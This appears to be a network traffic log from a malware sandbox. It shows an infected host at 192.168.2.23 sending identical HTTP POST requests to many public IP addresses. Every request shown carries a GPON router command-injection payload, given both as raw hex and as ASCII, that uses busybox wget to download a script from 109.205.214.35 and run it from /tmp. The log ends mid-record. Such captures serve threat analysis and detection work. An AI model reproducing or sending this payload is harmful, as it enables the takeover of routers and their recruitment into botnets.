Mar 21, 2024 05:26:12.178417921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.23	49662	2.111.31.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178442955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.23	47112	109.18.115.26	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178447008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.23	43078	5.86.69.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178466082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.23	32886	37.57.27.180	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178468943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.23	39532	212.177.205.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178471088 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.23	45012	178.18.78.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178486109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.23	51438	212.221.82.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178495884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.23	46998	212.162.100.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178502083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.23	59508	94.218.163.232	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178523064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.23	36540	118.60.192.101	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178550959 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.23	38154	210.46.138.203	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178561926 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.23	55484	109.180.190.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178564072 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.23	54208	5.32.133.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178596020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.23	44504	79.89.240.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178596020 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.23	51940	2.142.96.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178610086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.23	40290	109.211.157.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178627968 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.23	35062	210.231.213.90	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178651094 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.23	50278	94.79.55.219	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178674936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.23	44470	212.208.153.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178679943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.23	38336	79.236.239.52	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178694963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.23	34884	94.36.114.125	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178700924 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.23	33532	212.129.216.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178719044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.23	55500	94.136.64.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178761005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.23	37748	42.88.61.76	443

Timestamp	Bytes transferred	Direction	Data
